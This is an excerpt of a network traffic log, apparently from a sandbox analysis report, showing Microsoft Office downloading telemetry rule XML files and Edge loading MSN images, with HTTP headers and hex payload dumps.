2024-11-27 10:14:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:54 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c668448b-101e-007a-2d91-3f047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101454Z-174f7845968pf68xhC1EWRr4h80000000wxg000000009zf6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:54 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:54 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:54 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f418fe9b-801e-0047-5281-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101454Z-174f784596886s2bhC1EWR743w0000000ws00000000084yu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:54 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:54 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:54 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:54 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101454Z-174f7845968cdxdrhC1EWRg0en0000000wtg0000000032n1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:54 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49939	104.117.182.56	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:55 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZa.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:55 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZa Last-Modified: Fri, 15 Nov 2024 07:23:40 GMT X-Source-Length: 110548 X-Datacenter: westus X-ActivityId: 1c1561fa-e2a7-4aa4-b29b-4f822fb442fe Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 110548 Cache-Control: public, max-age=162369 Expires: Fri, 29 Nov 2024 07:21:04 GMT Date: Wed, 27 Nov 2024 10:14:55 GMT Connection: close
2024-11-27 10:14:55 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-27 10:14:55 UTC	16384	IN	Data Raw: 4d 57 22 e2 d6 73 a5 ae 1a 1e c5 97 de ba 22 c6 bb 72 8e 69 90 aa b2 1d 8c 46 92 11 25 4f c2 a9 e9 8d 81 54 91 04 59 95 7b 22 fa 43 7a af a7 bd 12 84 52 25 0f d3 3b 51 bd 33 b5 32 d7 a6 00 3d 33 b4 27 e9 94 68 70 d0 aa 49 0a 84 53 03 95 70 bb 62 2c 95 79 28 cc 08 d0 76 2c 52 f1 4a c2 e4 01 15 6a 91 20 e8 16 c3 10 04 64 ee a6 60 0b 70 a5 20 41 85 6c 2a 5e 15 52 d8 4e 40 04 2d ba 24 1d 85 59 ad 77 45 19 0c 1a 11 2a 6e 0d a6 56 40 0a 25 14 45 00 ec ed 57 c2 75 3d 88 d3 b9 3b ec 4b 31 c2 06 1a 36 27 08 8b 2c 33 2a 4a 90 50 9a 2f b7 72 1e 20 72 9f 92 63 36 16 42 65 d0 80 e7 a5 23 09 10 a9 28 38 c9 d1 54 a4 20 86 a5 94 5c 4e 56 96 ef 55 94 01 58 29 e1 4e 37 a7 84 aa 26 4c c2 ab 0b 60 ab 41 4c 01 d9 3b 22 e1 2a b8 4a 62 29 6d a9 c0 dc af 85 3c 08 10 3c 03 77 62 Data Ascii: MW"s"riF%OTY{"CzR%;Q32=3'hpISpb,y(v,RJj d`p Al^RN@-$YwEnV@%EWu=;K16',3JP/r rc6Be#(8T \NVUX)N7&L`AL;"Jb)m<<wb
2024-11-27 10:14:56 UTC	2981	IN	Data Raw: 65 96 cf 74 0d 9b 50 80 73 67 dc 46 5a f6 ae bb 39 ae b7 1c b4 63 a9 f9 9e d4 43 6a 7b d9 70 7e e0 b8 6f 88 7c 38 fb aa d3 6e 30 6e e6 44 9e a2 dd a3 34 81 c3 f1 dc 4f 0e eb 1c 57 c9 76 dc 3f c5 a9 71 0e 0d a8 d2 c7 1b 03 68 3d 4e 45 77 2e 4b 39 14 3c 99 72 ae df 23 ca 6b b2 68 b9 8d a6 06 a3 0e e3 3d 56 d2 a4 43 18 3d 10 4c 67 30 7b e5 7b 0f 11 f0 da 3c 48 c4 df 6b b4 7b 33 e6 35 f3 75 c1 57 f8 57 13 44 93 2e 70 fc cd 69 77 68 99 1e 2b 37 63 b7 bf 71 34 e2 30 d4 e3 68 97 37 8d 26 f6 c4 24 69 64 bd c5 80 ee 1e a1 96 98 19 8b 6b d4 a4 e2 c6 d3 7c e2 c5 27 32 d8 83 95 c5 d1 6a e0 75 27 00 f1 25 a6 c0 00 1d bb 72 e6 be d9 ba d6 9e 85 4e 6b 4c 85 1f 86 3f ff 00 6a d0 6f 0e 75 a3 7e d3 01 4d e2 70 36 8d 4a 8d 6b 98 e6 b4 91 ed 31 31 d9 1e 09 2f e1 f5 3d 1a 21 Data Ascii: etPsgFZ9cCj{p~o\|8n0nD4OWv?qh=NEw.K9<r#kh=VC=Lg0{{<Hk{35uWWD.piwh+7cq40h7&$idk\|'2ju'%rNkL?jou~Mp6Jk11/=!
2024-11-27 10:14:56 UTC	16384	IN	Data Raw: 71 52 9f e5 8e 84 fd 51 43 99 bd 29 61 02 71 76 d1 f3 4f fc 67 46 f6 0f a2 51 c2 d7 6a 3b 3f 74 cd 16 ed 45 43 cc 4a 2c a6 47 da 3a 83 fb fc 90 fd 16 ed 23 b0 a5 43 44 0d 9d 88 5e 91 d8 15 54 52 ba e5 8b 3a 0f c6 b7 50 16 fe 35 97 cb a2 e1 ce 2c f1 0e 89 df 43 9a e3 e9 a3 aa 87 a9 d9 1e 3e 98 cc 49 dd 96 e4 31 c7 53 be 61 72 30 33 33 da ad 23 f2 ef 4f a6 85 43 d4 eb 87 1d 4b 29 3d 7e 8a 4f ac 1d 70 e3 75 c5 02 0d ee 8d 8c 9d 48 1b 14 be 2d 09 a5 ea 75 98 98 7f 90 cc 6a 99 60 3f c9 bd ab 95 c5 1a 36 3c 51 7d 61 ac 28 7c 5d cc a6 ed 0e 94 35 db 46 c5 a5 ae be 47 b9 73 cd e2 04 c8 10 3a 94 a8 d7 0e d1 32 a3 a4 c6 aa 78 0a 8d a9 55 bf c8 b2 73 c2 e4 be cf 8a 71 52 31 60 78 68 8f 76 67 a9 0b 8d 73 db 13 3e 65 08 d6 de bb ed b5 db 8b 3a ed b0 ee 87 15 c2 71 71 Data Ascii: qRQC)aqvOgFQj;?tECJ,G:#CD^TR:P5,C>I1Sar033#OCK)=~OpuH-uj`?6<Q}a(\|]5FGs:2xUsqR1`xhvgs>e:qq
2024-11-27 10:14:56 UTC	16384	IN	Data Raw: 91 c1 0f 9e c5 6b 7f 76 c7 7b fb 5c a2 9f 04 18 b8 37 0b 0f f2 10 71 64 64 0c c4 25 b6 30 f0 ee 80 1c d6 bb 4f b9 83 bc 24 3f 80 fb a8 54 10 e7 43 e0 80 6d ee ee 88 ce 57 72 28 b3 3c 2e ff 00 71 1d c6 fc d5 fc cf 25 1c dc 8b 06 f6 12 b2 a4 b5 44 59 7b 44 b5 ce 66 f0 0b 98 7a 8c d4 81 5d ff 00 c8 02 36 8c 8f 7b 56 91 27 d9 88 5b ee 22 5b db 62 ae da 73 a0 de 60 89 fa f5 5e 6b b9 3d d7 f6 6b 4b c1 8f 1d 27 66 30 9e c3 f3 08 98 4c 59 d2 37 fd 42 a9 a4 ed 20 8d 8e 98 ed 42 f4 8e 92 d2 34 06 7b 3f 45 32 b5 f1 f7 90 86 b0 19 69 8c 8c 6e 87 b5 46 2d 6b b3 68 9d d9 8e 56 70 45 77 ae c3 39 f5 b1 3e 7a ac fc 43 09 c3 51 85 bd 44 8e d0 b7 4e ec 33 f2 dc c9 c7 97 99 0d d4 8b 6e d2 39 cf 78 bf 81 51 f1 bb f4 82 3c 3d dd a1 2c e0 63 be d7 78 cf 9f 05 19 cc 74 89 13 bf Data Ascii: kv{\7qdd%0O$?TCmWr(<.q%DY{Dfz]6{V'["[bs`^k=kK'f0LY7B B4{?E2inF-khVpEw9>zCQDN3n9xQ<=,cxt
2024-11-27 10:14:56 UTC	7952	IN	Data Raw: b9 ae e4 7b 04 88 74 e8 6a 44 df 28 17 53 8d 27 1b 0b 78 45 b4 bc a9 d9 0c fa 7e 8a a1 b0 0d c6 ba 8d 9a aa ad dd 9b 24 89 e8 c8 be 42 e6 fe 61 47 2d 6b 43 03 25 f6 31 00 9d 76 0b ca 52 38 40 6b 6e 43 a5 ce b8 3d 06 e4 03 60 0b 5f 2d 2d 93 39 8c b5 ce 3e aa 65 cc 39 d4 08 de 9e 26 0b e9 a5 88 f9 22 b6 88 0d 98 e5 1e 3a f6 a3 34 fb 65 de d1 62 6f 78 d9 12 7b 95 e9 1b 08 bc 9b 08 d9 ae fe 69 3b 9a ca 43 21 3c f0 e0 80 e7 b9 c2 09 cb 75 b0 91 17 1b 72 55 34 5c e7 e8 d0 1b 10 00 00 e5 71 ad fb 92 8d 6c 06 e4 dc ba d9 4d f5 0a 80 9f 4e 6d 33 1c bb 00 dc 8e a3 98 9c 8a f0 12 ab 52 ff 00 27 b4 62 98 ff 00 48 ca 74 41 fc 2e 20 7d a4 5b 38 99 3b 63 22 97 5e 4e f1 28 3e db 08 e5 bc 1c ef dd 2b 45 cb 19 2c a1 7a 81 ce 1a 2c 26 1d 26 2d 26 3c 7d df b2 6e a1 40 00 70 Data Ascii: {tjD(S'xE~$BaG-kC%1vR8@knC=`_--9>e9&":4ebox{i;C!<urU4\qlMNm3R'bHtA. }[8;c"^N(>+E,z,&&-&<}n@p
2024-11-27 10:14:56 UTC	16384	IN	Data Raw: 61 a0 7d d3 73 f2 b2 8b 54 5d a4 29 97 88 43 96 52 93 64 97 69 3d 32 47 35 00 1e d3 ce dd e8 6f c0 c0 29 b6 d2 33 3a cd cc 11 98 84 1a 6d bc 67 ae e8 51 7c b9 6f 1c c5 99 2c 61 0d 97 0b cc 93 d3 ea a3 bd f7 bc 11 9e 76 58 5c 31 11 61 b4 c7 28 fa 20 36 9f f2 9b 48 00 1f 1e 9b 96 39 fe 7e 63 89 26 7a ae 89 00 67 02 26 22 33 43 c6 5c 0d f3 ee ee 93 cd 3a 6d 1f 75 cb 46 b0 62 48 31 d7 92 60 17 5d c0 81 a6 92 47 4f aa e8 b5 64 5c 16 69 25 f9 58 08 ca df f6 f8 ea 83 67 bb 17 f6 c6 cb 6d e7 bb 6a 2c c9 b3 a2 d3 06 45 f9 d9 52 70 c8 75 ae 20 72 df bd 1f 56 79 ef a1 20 c8 2e c6 08 dc 3f 5c 90 8c 5b 14 69 97 4f cc 74 e8 b1 95 33 81 17 36 9e b9 ab 97 3a 26 24 9b 48 89 1b 23 9f 25 a6 d9 19 bc c0 07 c9 80 00 04 0b cc 9b 93 f2 09 b0 b2 a1 2e df 98 02 40 9c 86 de 51 d5 Data Ascii: a}sT])CRdi=2G5o)3:mgQ\|o,avX\1a( 6H9~c&zg&"3C\:muFbH1`]GOd\i%Xgmj,ERpu rVy .?\[iOt36:&$H#%.@Q
2024-11-27 10:14:56 UTC	16384	IN	Data Raw: 08 df 7c bc 95 35 c1 98 4b 9c 63 68 d9 d8 a3 31 e7 db 60 c9 12 4c d8 8d e7 32 b6 ab 87 e6 0d c8 91 9c 5b 43 b5 73 ab 6a 79 65 db 17 e4 46 21 29 16 63 25 be 99 b5 c1 98 27 4e d5 6b 58 ce 16 e2 93 3b 63 43 9e ee 8a 2d b0 bb dc 1d 3b 04 6f 9e cd 2c 8a dd 04 90 2f 00 b4 99 36 b8 e4 ba 95 f1 16 dc 93 4b c7 3e e5 ce 05 c9 2e 76 7a 47 2f 92 8e 5c dd 32 d1 13 13 1e f8 f7 cc 67 11 7d 84 42 d7 35 b8 3d be c7 ed 07 10 be 4d 70 36 59 bb 71 5a ec fb f6 d0 92 23 71 12 4b 8c 81 97 ec 76 75 53 5c f7 60 81 9e ba 10 22 c2 df 45 18 62 73 04 8c 50 7d d9 09 ec ec 4d f8 af 60 d3 0d f6 82 5c 49 db b8 69 9a 57 7d db 25 e5 b1 51 9b 22 97 9a 62 5c 4c 9d 37 74 59 4d c1 ce 93 a2 99 52 93 aa b8 38 9c 26 00 2d 1b ad 26 2c 86 cf ba 0b 44 03 3f 6e fd b1 2b 4b b6 d0 88 2e 60 db 22 35 4d Data Ascii: \|5Kch1`L2[CsjyeF!)c%'NkX;cC-;o,/6K>.vzG/\2g}B5=Mp6YqZ#qKvuS\`"EbsP}M`\IiW}%Q"b\L7tYMR8&-&,D?n+K.`"5M
2024-11-27 10:14:56 UTC	1832	IN	Data Raw: 8d 70 12 f2 05 f4 68 f9 9d ca a1 f8 e4 1b b6 3f c8 49 26 e7 62 d1 8b 06 27 9b 9b 11 6c f5 30 13 73 43 18 03 08 6c 5c eb 7e 97 fa 2e 3c 30 f3 f5 20 a9 a4 46 07 08 c2 f7 5a 36 0f 3e 05 29 b6 a3 7d ec 6b 9a 41 2e 11 0d 89 76 78 b5 88 8b 9b 66 a2 50 70 a8 0b b4 00 e7 6b 8c 8e be 42 8f 44 60 6d e4 b8 c0 f6 dc db ce f4 9d ce 5c e4 d7 d3 e7 2b 73 49 87 92 9c a0 5b 27 d8 5a df b5 91 79 cc 1c c9 fd f4 d5 42 80 d7 12 db 9e d1 f4 de a8 03 98 5c d7 02 ec c5 f5 0e ce 6f 9c df 45 1d a2 4e cb 62 b1 db 16 b6 5f b2 c5 28 c7 f1 30 cf d4 23 9e 5a 6c 5d 20 b6 1c 32 13 9e db 9c a3 2c d0 de 1c d2 d6 86 9b 1b 49 c5 d9 19 05 1a 5d 18 5c e2 06 70 2f 26 60 da f2 79 a5 47 0f 41 b2 d0 64 8b 4f f1 07 c6 4f 45 b5 d7 b6 d6 7b e5 12 f6 ee f1 1c 96 03 01 83 77 1d e2 07 9d a5 51 ad c6 71 Data Ascii: ph?I&b'l0sCl\~.<0 FZ6>)}kA.vxfPpkBD`m\+sI['ZyB\oENb_(0#Zl] 2,I]\p/&`yGAdOOE{wQq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49940	104.117.182.56	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:55 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKEr.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:55 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKEr Last-Modified: Fri, 08 Nov 2024 07:20:56 GMT X-Source-Length: 28967 X-Datacenter: westus X-ActivityId: 0c687dbe-b0dd-41e6-aef4-bf71ce1feb68 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 28967 Cache-Control: public, max-age=335295 Expires: Sun, 01 Dec 2024 07:23:10 GMT Date: Wed, 27 Nov 2024 10:14:55 GMT Connection: close
2024-11-27 10:14:55 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-27 10:14:55 UTC	13102	IN	Data Raw: 0f b7 75 bf 2c a1 5f 9b ab cc 37 4a 3e b6 a4 d3 db 46 a4 7f 75 9f e6 bb 87 f9 f4 f7 55 ea 7e 9f 14 ed 96 2a a6 9a f2 aa 29 ab f4 a2 27 e2 2d 7e 73 f9 ae e3 fe 6d 53 d9 a7 5c fd c7 f3 6d cb 6e a4 ff 00 ba af d4 fa fa 9e 5d b8 6a fd 7d d7 77 ab b7 4a 8b f7 c4 44 bc 5a be 41 e5 7a bc 77 78 a7 f4 2b d4 a3 e1 55 b9 96 63 ae 59 ce 75 76 63 1d ef 2f f3 5d ca 3f cd ff 00 97 3f 7b 1f ce 37 2f fd c8 fd 58 ff 00 68 af f0 b7 97 55 f5 6a de 34 fa 72 ae 2a fe d5 17 e7 78 ab fc 25 47 ec f7 a9 8f d3 d1 89 b7 5d 35 c7 c1 ad ba 3d 59 ee 63 3a b9 9e 8c 67 ee f6 cf 9c 6e 56 e3 57 f4 ff 00 b4 9f ce 77 0f 7f 9e 8f f6 9f 1a bf c2 7b e4 4d e8 d7 dd 6b ed 8d 4a 27 fb 15 43 cd 57 e1 af 32 8f d9 e9 57 6e 18 75 34 fe 15 61 6b 87 a3 3f cd 8c f3 79 98 ff 00 e7 f5 7e 83 f9 e7 97 74 eb Data Ascii: u,_7J>FuU~)'-~smS\mn]j}wJDZAzwx+UcYuvc/]??{7/XhUj4rx%G]5=Yc:gnVWw{MkJ'CW2Wnu4ak?y~t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49943	104.117.182.56	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:55 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:56 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 15 Nov 2024 09:23:39 GMT X-Datacenter: eastus X-ActivityId: 45299615-50a0-4d41-9f2b-be1f411b5255 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOOW X-Source-Length: 76188 Content-Length: 76188 Cache-Control: public, max-age=169812 Expires: Fri, 29 Nov 2024 09:25:07 GMT Date: Wed, 27 Nov 2024 10:14:55 GMT Connection: close
2024-11-27 10:14:56 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
